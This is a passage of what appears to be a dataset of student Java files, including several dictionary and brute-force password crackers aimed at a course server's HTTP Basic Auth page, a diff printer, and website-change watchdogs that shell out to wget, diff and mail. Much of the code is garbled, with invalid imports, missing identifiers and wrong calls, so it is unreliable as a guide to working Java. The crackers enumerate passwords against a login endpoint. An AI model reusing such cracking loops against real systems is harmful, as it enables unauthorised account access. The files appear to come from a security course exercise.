      Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); 
	  System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result); 
      

 
 
  }



 private String Dict(String urlString,String username) 
 { 
  int cnt=0;
  FileInputStream stream=null;
  DataInputStream word=null;

	try{ 
	 stream = new FileInputStream (""/usr/share/lib/dict/words""); 

	word =new DataInputStream(stream);
	 t0 = System.currentTimeMillis();  
		 while (word.available() !=0)   
			{
									
			password=word.readLine();
				 if (password.length()!=3)
				 {
					continue;
				 }
				 System.out.print(""crackin...:""); 
			     System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); 
			  URL url = new URL (urlString);
				String userPassword=username+"":""+password;  
				   
				   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
					 URLConnection conc = url.openConnection();
						   conc.setRequestProperty  (""Authorization"", "" "" + encoding);			   
						   conc.connect();  
						   cnt++;
					   if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""))
						 {
							System.out.println(""The Number Of Attempts : ""+cnt); 
							 t1 = System.currentTimeMillis();  
							 net=t1-t0;
							System.out.println(""Total Time in secs...""+net/1000); 
							return password;  
						}
 		 		
	         }

				}

		      	catch (Exception e )
				{
				  e.printStackTrace();   

				}

    
try
{
word.close();
stream.close(); 
	
}
 
catch (IOException e)
{ 
System.out.println(""Error in closing input file:\n"" + e.toString()); 
} 

return ""Password could not  found"";  
 } 
 

}"
128.java,"
import java.io.*;
import java.util.Vector;
import java.util.Date;


interface UnaryPredicate {
  boolean execute(Object obj);
}


public class DiffPrint {
  
  static String outFile="""";

  public static abstract class Base {
    protected Base(Object[] a,Object[] b) {
	try
	{
      outfile = new PrintWriter(new FileWriter(outFile));		
	}
	catch (Exception e)
	{
		e.printStackTrace();
	}
      file0 = a;
      file1 = b;
    }
    
    protected UnaryPredicate ignore = null;

    
    protected Object[] file0, file1;

    
    public void print_script(Diff.change script) {
      Diff.change next = script;

      while (next != null)
        {
          Diff.change t, end;

          
          t = next;
          end = hunkfun(next);

          
          next = end;
          end = null;
          
          

          
          print_hunk(t);

          
          end = next;
        }
        outfile.flush();
    }

    

    protected Diff.change hunkfun(Diff.change hunk) {
      return hunk;
    }

    protected int first0, last0, first1, last1, deletes, inserts;
    protected PrintWriter outfile;

    

    protected void analyze_hunk(Diff.change hunk) {
      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;
      int i;
      Diff.change next;
      boolean nontrivial = (ignore == null);

      show_from = show_to = 0;

      f0 = hunk.line0;
      f1 = hunk.line1;

      for (next = hunk; next != null; next = next.next())
        {
          l0 = next.line0 + next.deleted - 1;
          l1 = next.line1 + next.inserted - 1;
          show_from += next.deleted;
          show_to += next.inserted;
          for (i = next.line0; i <= l0 && ! nontrivial; i++)
            if (!ignore.execute(file0[i]))
              nontrivial = true;
          for (i = next.line1; i <= l1 && ! nontrivial; i++)
            if (!ignore.execute(file1[i]))
              nontrivial = true;
        }

      first0 = f0;
      last0 = l0;
      first1 = f1;
      last1 = l1;

      

      if (!nontrivial)
        show_from = show_to = 0;

      deletes = show_from;
      inserts = show_to;
    }

    
    protected void print_header(String filea, String fileb) { }

    protected abstract void print_hunk(Diff.change hunk);
    
    protected void print_1_line(String pre,Object linbuf) {
      outfile.println(pre + linbuf.toString());
    }

    

    protected void print_number_range (char sepchar, int a, int b) {
      
      if (++b > ++a)
        outfile.print("""" + a + sepchar + b);
      else
        outfile.print(b);
    }

    public static char change_letter(int inserts, int deletes) {
      if (inserts == 0)
        return 'd';
      else if (deletes == 0)
        return 'a';
      else
        return 'c';
    }
  }

  
  public static class NormalPrint extends Base {

    public NormalPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    

    protected void print_hunk (Diff.change hunk) {

      
      analyze_hunk(hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.print(change_letter(inserts, deletes));
      print_number_range (',', first1, last1);
      outfile.println();

      
      if (deletes != 0)
        for (int i = first0; i <= last0; i++)
          print_1_line (""< "", file0[i]);

      if (inserts != 0 && deletes != 0)
        outfile.println(""---"");

      
      if (inserts != 0)
        for (int i = first1; i <= last1; i++)
          print_1_line (""> "", file1[i]);
    }
  }

  
  public static class EdPrint extends Base {

    public EdPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    
    protected void print_hunk(Diff.change hunk) {

      
      analyze_hunk (hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.println(change_letter(inserts, deletes));

      
      if (inserts != 0)
        {
          boolean inserting = true;
          for (int i = first1; i <= last1; i++)
            {
              
              if (! inserting)
                outfile.println(i - first1 + first0 + ""a"");
              inserting = true;

              

              if (""."".equals(file1[i]))
                {
                  outfile.println("".."");
                  outfile.println(""."");
                  
                  outfile.println(i - first1 + first0 + 1 + ""s/^\\.\\././"");
                  inserting = false;
                }
              else
                
                print_1_line ("""", file1[i]);
            }

          
          if (inserting)
            outfile.println(""."");
        }
    }
  }

  
  public static class ContextPrint extends Base {

    protected int context = 3;

    public ContextPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    protected void print_context_label (String cad, File inf, String label) {
      if (label != null)
        outfile.println(cad + ' ' + label);
      else if (inf.lastModified() > 0)
        
        outfile.println(
          cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified())
        );
      else
        
        outfile.println( cad + ' ' + inf.getPath());
    }

    public void print_header(String filea,String fileb) {
      print_context_label (""***"", new File(filea), filea);
      print_context_label (""---"", new File(fileb), fileb);
    }

    
    private String find_function(Object[] lines, int x) {
      return null;
    }

    protected void print_function(Object[] file,int x) {
      String function = find_function (file0, first0);
      if (function != null) {
        outfile.print("" "");
        outfile.print(
          (function.length() < 40) ? function : function.substring(0,40)
        );
      }
    }

    protected void print_hunk(Diff.change hunk) {

      

      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);


      outfile.print(""***************"");

      
      print_function (file0, first0);

      outfile.println();
      outfile.print(""*** "");
      print_number_range (',', first0, last0);
      outfile.println("" ****"");

      if (deletes != 0) {
        Diff.change next = hunk;

        for (int i = first0; i <= last0; i++) {
          

          while (next != null && next.line0 + next.deleted <= i)
            next = next.next;

          

          String prefix = "" "";
          if (next != null && next.line0 <= i)
            
            prefix = (next.inserted > 0) ? ""!"" : ""-"";

          print_1_line (prefix, file0[i]);
        }
      }

      outfile.print(""--- "");
      print_number_range (',', first1, last1);
      outfile.println("" ----"");

      if (inserts != 0) {
        Diff.change next = hunk;

        for (int i = first1; i <= last1; i++) {
          

          while (next != null && next.line1 + next.inserted <= i)
            next = next.next;

          

          String prefix = "" "";
          if (next != null && next.line1 <= i)
            
            prefix = (next.deleted > 0) ? ""!"" : ""+"";

          print_1_line (prefix, file1[i]);
        }
      }
    }
  }

  
  public static class UnifiedPrint extends ContextPrint {

    public UnifiedPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    public void print_header(String filea,String fileb) {
      print_context_label (""---"", new File(filea), filea);
      print_context_label (""+++"", new File(fileb), fileb);
    }

    private void print_number_range (int a, int b) {
      

      
      if (b < a)
        outfile.print(b + "",0"");
      else
        super.print_number_range(',',a,b);
    }

    protected void print_hunk(Diff.change hunk) {
      
      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);



      outfile.print(""@@ -"");
      print_number_range (first0, last0);
      outfile.print("" +"");
      print_number_range (first1, last1);
      outfile.print("" @@"");

      
      print_function(file0,first0);

      outfile.println();

      Diff.change next = hunk;
      int i = first0;
      int j = first1;

      while (i <= last0 || j <= last1) {

        

        if (next == null || i < next.line0) {
          outfile.print(' ');
          print_1_line("""", file0[i++]);
          j++;
        }
        else {
          

          int k = next.deleted;
          while (k-- > 0) {
            outfile.print('-');
            print_1_line("""", file0[i++]);
          }

          

          k = next.inserted;
          while (k-- > 0) {
            outfile.print('+');
            print_1_line("""", file1[j++]);
          }

          

          next = next.next;
        }
      }
    }
  }


  
  static String[] slurp(String file) throws IOException {
    BufferedReader rdr = new BufferedReader(new FileReader(file));
    Vector s = new Vector();
    for (;;) {
      String line = rdr.readLine();
      if (line == null) break;
      s.addElement(line);
    }
    String[] a = new String[s.size()];
    s.copyInto(a);
    return a;
  }


  public static String getDiff(String filea,String fileb,String filec) throws IOException {
	DiffPrint.outFile=filec;
	String msg="""";
	String[] a = slurp(filea);
    String[] b = slurp(fileb);
	String [] argv={filea,fileb};
    Diff d = new Diff(a,b);
    char style = 'n';
    for (int i = 0; i < argv.length - 2; ++i) {
      String f = argv[i];
      if (f.startsWith(""-"")) {
        for (int j = 1; j < f.length(); ++j) {
          switch (f.charAt(j)) {
           case 'e':     
            style = 'e'; break;
            case 'c':     
            style = 'c'; break;
          case  'u':
            style = 'u'; break;
          }
        }
      }
    }
    boolean reverse = style == 'e';
    Diff.change script = d.diff_2(reverse);
    if (script == null)
      msg=""The text  the  has not changed.\n"";
    else {
    Base p;
      msg=""The text  the  has changed.\n The Diff Output is : \n\n"";
      switch (style) {
      case 'e':
        p = new EdPrint(a,b); break;
       case'c':
        p = new ContextPrint(a,b); break;
      case 'u':
        p = new UnifiedPrint(a,b); break;
      default:
        p = new NormalPrint(a,b);
      }
      p.print_header(filea,fileb);
      p.print_script(script);
    }
	return msg;
  }
}
"
174.java," 




import java.util.*;
import java.io.*;

public class MyTimer
{	

	public static void main(String args[])
	{
		Watchdog watch = new Watchdog();
		Timer time = new Timer();
		time.schedule(watch,864000000,864000000);
		
			
	}
}
"
085.java,"


import java.Thread;
import java.io.*;
import java.net.*;

public class Dictionary extends Thread {
    final static int SUCCESS=1,
                     FAILED=0,
                     UNKNOWN=-1;
    private static String host,
                   path,
                   user;
    private Socket target;
    private InputStream input;
    private OutputStream output;
    private byte[] data;
    private int threads,
                threadno,
                response;
    public static boolean solved = false;
    Dictionary parent;
    static LineNumberReader lnr;


    public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
    {
      super();
      this.parent = parent;
      this.host = host;
      this.path = path;
      this.user = user;
      this.threads = threads;
      this.threadno = threadno;
    }

    public void run()
    {
      response = FAILED;
      int x = 0; 
      String word = """";
       starttime = System.currentTimeMillis();

      try
      {
        boolean passwordOkay; 
        while(word != null && !parent.solved)
        {
          passwordOkay = false;
          while(!passwordOkay || word == null)
          {
            word = lnr.readLine();
            passwordOkay = true;
            if(word.length() != 3) passwordOkay = false;
          }

          response = tryLogin(word);
          x++;
          if(response == SUCCESS)
          {
            System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word);
            parent.solved = true;
          }
          if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")"");
        }
      }
      catch(Exception e)
      {
        System.err.println(""Error while  from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage());
      }

      if(response == SUCCESS)
      {
        System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec."");
        System.out.println(""Thread . "" + threadno + "" was the  one!"");
      }
    }

    public static void main (String[] args)
    {
        Dictionary parent;
        try
        {
           lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words""));
        }
        catch(Exception e)
        {
          System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage());
        }
        Dictionary[] attackslaves = new Dictionary[10]; 
        if(args.length == 3)
        {
         host = args[0];
         path = args[1];
         user = args[2];
        }
        else
        {
          System.out.println(""Usage: Dictionary <host> <path> <user>"");
          System.out.println("" arguments specified, using standard values."");
          host = ""sec-crack.cs.rmit.edu."";
          path = ""/SEC/2/index.php"";
          user = """";
        }
        System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user);
        System.out.println(""Using "" + attackslaves.length + "" happy threads..."");

        parent = new Dictionary(host, path, user, 0, 0, null, lnr);

        for(int i=0; i<attackslaves.length; i++)
        {
          attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
        }
        for(int i=0; i<attackslaves.length; i++)
        {
          attackslaves[i].print();
        }

    }

    private int tryLogin(String password)
    {
      int success = UNKNOWN;

      
      try
      {
        data = new byte[12];
        target = new Socket(host, 80);
        input = target.getInputStream();
        output = target.getOutputStream();
        String base =  new pw.misc.BASE64Encoder().encode(new String(user + "":"" + password).getBytes());

        output.write(new String(""GET "" + path + "" HTTP/1.0\r\n"").getBytes());
        output.write(new String(""Authorization:  "" + base + ""\r\n\r\n"").getBytes());
        

        input.print(data);
        if(new String(data).endsWith(""401"")) success=0;
        if(new String(data).endsWith(""200"")) success=1;
        
      }
      catch(Exception e)
      {
        System.out.println(e.getClass().getName() + "": "" + e.getMessage());
      }
      return success;
    }

}"
209.java,"
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
   private String hostname;
   private int port;
   private String filename;
   private Socket s;
   private int n;
   private InputStream sin;
   private OutputStream sout;
   private int dif;
   private String myPassword;
   private int status;
   private int myTime;
   private BruteForce myMaster;
   

   public MyClient2(BruteForce bf , int num, int myPort, String password)
   {
      
      hostname = new String(""sec-crack.cs.rmit.edu."");
      port = myPort;
      status = 0;
      myTime = 0;
      myPassword = password;
      filename = new String(""/SEC/2/"");
      myMaster = 0;
      n = num;
      dif = 0;
      
   }
   public  getDif()
   {
      return dif;
   }
   public int getStatus()
   {
      return status;
   }
   public void run() 
   {
      String inputLine;
      String[] tokens = new String[5];
      int i;
       myTime = 0;
       finish = 0;
      start = System.currentTimeMillis();
      try
      {
         s = new Socket( hostname, port);
      }catch( UnknownHostException e)
      {
         System.out.println(""'t find host"");
      }catch( IOException e)
       {
          System.out.println(""Error connecting  host ""+n);
	  return;
       }
      while(s.isConnected() == false)
         continue;
      
      finish = System.currentTimeMillis();
      dif = finish - start;
      
      try
      {
        sin  = s.getInputStream();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
      try
      {
         sout = s.getOutputStream();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      
      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
      toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization:  ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
      toServer.flush();
      
      try
      {
         inputLine = fromServer.readLine();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
	  inputLine = null;
       }
      
      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, "" "");
      i = 0;
      while(sin.hasMoreTokens())
      {
         tokens[i] = sin.nextToken();
	 i++;
      }
      status = Integer.parseInt( tokens[1]);
      myTime = System.currentTimeMillis();
      if( status == 200)
      {
         System.out.println(""Ok ""+myPassword);
	 myMaster.retire( this);
      }
     
      toServer.send();
      try
      {
         fromServer.receive();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      try
      {
         s.connect();
      }catch( IOException e)
       {
          System.out.println(""'t  connection"");
	  System.exit(0);
       }
   }
   public  getTime()
   {
      return myTime;
   }
  
}
"
180.java,"import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
	public static void main (String args[])
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double startTime = now.getTime();

		String password=getPassword(startTime);
		System.out.println(""The password is "" + password);
	}

	public static String getPassword(double startTime)
	{
		String password="""";
		int requests=0;

		try
		{
			
			FileReader fRead = new FileReader(""/usr/share/lib/dict/words"");
			BufferedReader buf = new BufferedReader(fRead);

			password=buf.readLine();

			while (password != null)
			{
				
				if (password.length()<=3)
				{
					requests++;
					if (testPassword(password, startTime, requests))
						return password;
				}

				password = buf.readLine();

			}
		}
		catch (IOException ioe)
		{

		}

		return password;
	}

	private static boolean testPassword(String password, double startTime, int requests)
	{
		try
		{
			
			
			URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");

			HttpURLConnection connection;

    		String userPassword =  "":"" + password;

    		
    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

			try
			{
				
				connection = (HttpURLConnection) url.openConnection();
				
				connection.setRequestProperty(""Authorization"", "" "" + encoding);

				
				int status=connection.getResponseCode();

				System.out.println(password + requests);

				if (status==200)
				{
					System.out.println(""It took "" + getTime(startTime) + "" milliseconds  find the password."");
					System.out.println("" were "" + requests + "" requests ."");

					return true;
				}

				return false;

			}

			catch (IOException ioe)
			{
				System.out.print(ioe);
				return false;
			}

		}

		catch (IOException MalformedURLException)
		{
			System.out.print(""Invalid URL"");
			return false;
		}
	}


	private static double getTime(double startTime)
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double endTime = now.getTime();

        return endTime-startTime;

	}

}
"
155.java,"import java.io.*;
import java.net.*;

public class Dictionary{

 public static void main( String[] args ){
 Dictionary dict= new Dictionary();
 dict.create();
 }

public void dsf(){
    String password;
    String auth_data;
    String username="""";
    String server_res_code;
    String required_server_res_code=""200"";
    int cntr=0;
 try{
    URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
    URLConnection conn=null;
    String fileName = ""/usr/share/lib/dict/words"";
    fileName=fileName.trim();
    FileReader fr = new FileReader(fileName);
    BufferedReader inputfile = new BufferedReader(fr);

    while( (password=inputfile.readLine()) != null ){

           password = password.trim();
           
           auth_data=null;
           auth_data=username + "":"" + password;
           auth_data=auth_data.trim();
           auth_data=getBasicAuthData(auth_data);
           auth_data=auth_data.trim();
           conn=url.openConnection();
           conn.setDoInput (true);
           conn.setDoOutput(true);
           conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
           conn.setRequestProperty (""Authorization"", auth_data);
           server_res_code=conn.getHeaderField(0);
           server_res_code=server_res_code.substring(9,12);
           server_res_code.trim();
           cntr++;
           if( server_res_code.compareTo(required_server_res_code)!=0)
           System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
           else {
           System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
           break;}

           }

}

catch( Exception e){
       System.err.println(e);
       }
}

public String getBasicAuthData (String getauthdata)    {

char base64Array [] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
      'w', 'x', 'y', 'z', '0', '1', '2', '3',
      '4', '5', '6', '7', '8', '9', '+', '/' } ;

    String encodedString = """";
    byte bytes [] = getauthdata.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length) {
      byte b1 = bytes [i++];
      byte b2;
      byte b3;
      if (i >= bytes.length) {
         b2 = 0;
         b3 = 0;
         pad = 2;
         }
      else {
         b2 = bytes [i++];
         if (i >= bytes.length) {
            b3 = 0;
            pad = 1;
            }
         else
            b3 = bytes [i++];
         }
      byte c1 = (byte)(b1 >> 2);
      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
      byte c4 = (byte)(b3 & 0x3f);
      encodedString += base64Array [c1];
      encodedString += base64Array [c2];
      switch (pad) {
       case 0:
         encodedString += base64Array [c3];
         encodedString += base64Array [c4];
         break;
       case 1:
         encodedString += base64Array [c3];
         encodedString += ""="";
         break;
       case 2:
         encodedString += ""=="";
         break;
       }
      }
      return "" "" + encodedString;
  }

}"
099.java,"

import java.net.*;
import java.io.*;
import java.io.IOException;
import java.util.*;
import java.*;


public class BruteForce {
    public static void main (String[] args) throws Exception {
      int maxChar = 26, counter=0, x =0, attempt =0 ;
      String guess = new String();
      String pass, inputLine;
      String letter[] = {"""", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"",
                            ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z"" , ""A"", ""B"", ""C"", ""D"", ""E""
                     , ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"",
                     ""W"", ""X"", ""Y"", ""Z""};

        boolean flag=false;

       System.out.println(System.currentTimeMillis()/1000);

               for (int i=0; i<maxChar ; i++){
                   for (int j=0 ; j<maxChar ; j++){
                       for (int k=0 ; k<maxChar ; k++){
                              guess = letter[i]+letter[j]+letter[k];
                              attempt++;
                              System.out.println(guess);
                              pass = "":"" + guess;
                              String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());
                              try{
                                 URL u = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
                                 URLConnection yc = u.openConnection();
                                 yc.setRequestProperty(""Authorization"","" ""+password);
                                 BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
                                 while ((inputLine = in.readLine()) != null)
                                        System.out.println(inputLine);
                                in.print();
                                System.out.println(guess);
                                System.out.println(System.currentTimeMillis()/1000);
                                System.out.println("" of attempt: ""+attempt);
                                System.exit(0);

                             }catch(IOException e){ }
                      }
                  }
               }
    }
}"
017.java,"



import javax.swing.*;

public class Dictionary
{
    public static void main( String args[] )
    {
        PasswordCombination pwdCombination;

        pwdCombination = new PasswordCombination();
    }
}  

"
136.java,"





import java.util.*;
import java.io.*;
import java.net.*;

public class MyWatchDogTimer extends TimerTask
{
	public void run()
	{
	  Runtime rt = Runtime.getRuntime();
	  Process prss= null;
	  String initialmd5,presentmd5,finalmd5,temp1;
          String mesg1 = new String();
          String subject = new String(""Report of WatchDog"");

	  int i;
          
	  try
          {

              prss = rt.exec(""md5sum first.html"");

              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread1 = new BufferedReader(instre1);
		    
             sw  = bufread1.readLine();
	      i = finalmd5.indexOf(' ');
	      initialmd5 = finalmd5.substring(0,i);
	      System.out.println(""this is of first.html--->""+initialmd5);
		    

		    
              prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"");

		    
              prss = rt.exec(""md5sum present.html"");
		    
              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread2 = new BufferedReader(instre2);
		    
	      temp1 = bufread2.readLine();
	      i = temp1.indexOf(' ');
	      presentmd5 = temp1.substring(0,i);
	      System.out.println(""this is of present.html---->""+presentmd5);
		
    
                 if(initialmd5.equals(presentmd5))
                     System.out.println(""The checksum found using md5sum is same"");
		 else
		    {
		      prss = rt.exec(""diff first.html present.html > diff.html"");
                      System.out.println("" is different""); 
                      prss = null;
                  mesg1 =""php mail.php"";
		      prss = rt.exec(mesg1);
		    }   

                   prss = rt.exec(""rm present.*"");

    	     }catch(java.io.IOException e){}

        }
}		
"
055.java,"
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WriteFile
{
   String url;
   String fileName;
   int flag;
   private PrintWriter out2;
   private TextArea response;
   int status;
   int mailFlag;

   public WriteFile (String newUrl, String newFileName, int newFlag)
   {
       url = newUrl;
       fileName = newFileName;
       PrintWriter printW = null;
       FileOutputStream fout;
       flag = newFlag;
       status = 0;
       mailFlag = 0;

       
       File file = new File(fileName);
       file.delete();

       try
       {
          fout = new FileOutputStream(fileName,true);
          printW = new PrintWriter(fout);
       }
       catch (IOException ioe)
       {
          System.out.println(""IO Error : "" + ioe);
       }


       URL u;
       URLConnection uc;

       try
       {
          u = new URL(url);
          try
          {
             
             uc = u.openConnection();

             InputStream content = (InputStream)uc.getInputStream();
             BufferedReader in = new BufferedReader (new InputStreamReader(content));

             String line;

             
             while ((line = in.readLine()) != null)
             {
                
                printW.println(line);

             }
          }
          catch (Exception e)
          {
             System.out.println(""Error: "" + e);
          }
       }
       catch (MalformedURLException e)
       {
          System.out.println(url + "" is not a parseable URL"");
       }
       
       printW.print();


       if(flag == 1)
       {
          
           compareDiff(""@.rmit.edu."");
       }
   }

  String loadStream(InputStream in) throws IOException
  {
        int ptr = 0;
        in = new BufferedInputStream(in);
        StringBuffer buffer = new StringBuffer();

        while( (ptr = in.next()) != -1 )
        {
            status++;
            
            buffer.append((char)ptr);
            mailFlag++;
            
        }
        return buffer.toString();
   }

    public void compareDiff(String emailAdd)
    {
       String cmds = ""diff test1.txt test2.txt"";
       PrintWriter printW2 = null;
       FileOutputStream fout2;
       
       File file = new File(""diff.txt"");
       file.delete();
       String ;

       try
       {
          fout2 = new FileOutputStream(""diff.txt"",true);
          printW2 = new PrintWriter(fout2);
       }
       catch (IOException ioe)
       {
          System.out.println(""IO Error : "" + ioe);
       }

       try
       {


          
          Process ps = Runtime.getRuntime().exec(cmds);
          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));

          printW2.println(loadStream(ps.getInputStream())+""\n"");
          printW2.print();


          if(mailFlag != 0)
          {
             FileReader fRead2;
             BufferedReader buf2;

             try
             {
                fRead2 = new FileReader(""diff.txt"");
                buf2 = new BufferedReader(fRead2);
                String line2;
                int i=0;

                line = new String(""  some changes  the web  as followed: \n"");
                
                Socket s = new Socket(""wombat.cs.rmit.edu."", 25);
                out2 = new PrintWriter(s.getOutputStream());

                send(null);
                send(""HELO cs.rmit.edu."");
                send(""MAIL FROM: @.rmit.edu."");
                
                send(""RCPT : @.rmit.edu."");
                send(""DATA"");
                

                while( (line2 = buf2.readLine()) != null)
                {
                   
 line= new String(""""+line2+""\n"");
                   
                   

                }
                
                
                
                out2.print();
                send(""."");
                s.print();
             }
             catch(FileNotFoundException e)
             {
                System.out.println(""File not found"");
             }
             catch(IOException ioe)
             {
                System.out.println(""IO Error "" + ioe);
             }
          }

          System.out.println(loadStream(ps.getInputStream()));
          
          System.err.print(loadStream(ps.getErrorStream()));
        }
        catch(IOException ioe)
        {
            ioe.printStackTrace();
        }
    }

    public void send(String s) throws IOException
    {
    	response = new TextArea();
      	if(s != null)
      	{
            response.append(s + ""\n"");
            out2.println(s);
	    out2.flush();
	}
    }

   public int getStatus()
   {
      return status;
   }
}"
236.java,"import java.io.*;

public class ReadDictionary {
	private BufferedReader bf;
	private String line="""";

   public static void main (String argv[]) throws Exception { 
      ReadDictionary rd=new ReadDictionary();
	  rd.openFile();
	  for (int inx=0; inx<800 ;inx++ )
	  {
	  	System.out.println(inx + "" "" + rd.readLine() );
	  }
      }  
	  
  

	public void openFile()
	{
		try
		{
			setBr(new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")));

		}catch(IOException e)
		{
			System.out.println(e.getMessage());
		}
	}

	public String readLine()
	{
		try
		{
			
			{
				line = bf.readLine();
			}while (line != null && line.length() >3);			
		}catch (IOException e)
		{
			System.out.println(e.getMessage());
		}
		return(line);
		
	}	

	
	public BufferedReader getBr()
	{
		return this.line;
	}

	public void setBr(BufferedReader bf)
	{
		this.bf = bf;
	}
}
"
149.java,"import	java.io.*;

class WatchDog {
    public static void main(String args[]) {
    
	    if (args.length<1)
	 {
       System.out.println(""Correct Format Filename  email address <username@cs.rmit.edu.> of the recordkeeper""); 
        System.exit(1);	
	 }

	while (true)
		{
		
		
  FileInputStream stream=null;
  DataInputStream word=null;
  String input=""   ""; 


	try {


       String ls_str;
    
    	   
	  Process ls_proc = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
   		try {
		Thread.sleep(2000);
		}catch (Exception e) {
    System.err.println(""Caught ThreadException: "" +e.getMessage());
	  }

		String[] cmd = {""//sh"",""-c"", ""diff Index2.html index.html >report.txt ""};

	   ls_proc = Runtime.getRuntime().exec(cmd);
		          
			
			try {
		Thread.sleep(2000);
		}catch (Exception e) {
    System.err.println(""Caught ThreadException: "" +e.getMessage());
	  }
		
		
		
		if (ls_proc.exitValue()==2) 
		{
		  	   System.out.println(""The file was checked for first time,  email sent"");

           Process move = Runtime.getRuntime().exec(""mv index.html Index2.html"");
		   

		}
		else
		{

				stream = new FileInputStream (""report.txt""); 
				word =new DataInputStream(stream);


				if (word.available() !=0)
				{

					try
					{

					String[] cmd1 = {""//sh"",""-c"",""diff Index2.html index.html | mail ""+args[0]};
					 Process proc = Runtime.getRuntime().exec(cmd1);
					 Thread.sleep(2000);
					Process move = Runtime.getRuntime().exec(""mv index.html Index2.html"");
					Thread.sleep(2000);
					System.out.println(""Difference Found  , Email Sent"");

					}
					catch (Exception e1) {
							System.err.println(e1);
							System.exit(1);
						
					  
						}
					 
	 
	 
				 }
				 else
					{
						   System.out.println("" Differnce Detected"");


					}
		}
	}
	

	 catch (IOException e1) {
	    System.err.println(e1);
	    System.exit(1);
	
  
	}
try
{
word.close();
stream.close(); 
	
}
 
catch (IOException e)
{ 
System.out.println(""Error in closing input file:\n"" + e.toString()); 
} 
       	
try {
Thread.sleep(20000);  
    }
catch (Exception e) 
	{
System.err.println(""Caught ThreadException: "" +e.getMessage());
	}
		

        }   

	} 
	
   }"
062.java,"

import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;

public class BruteForce {
    
    
    
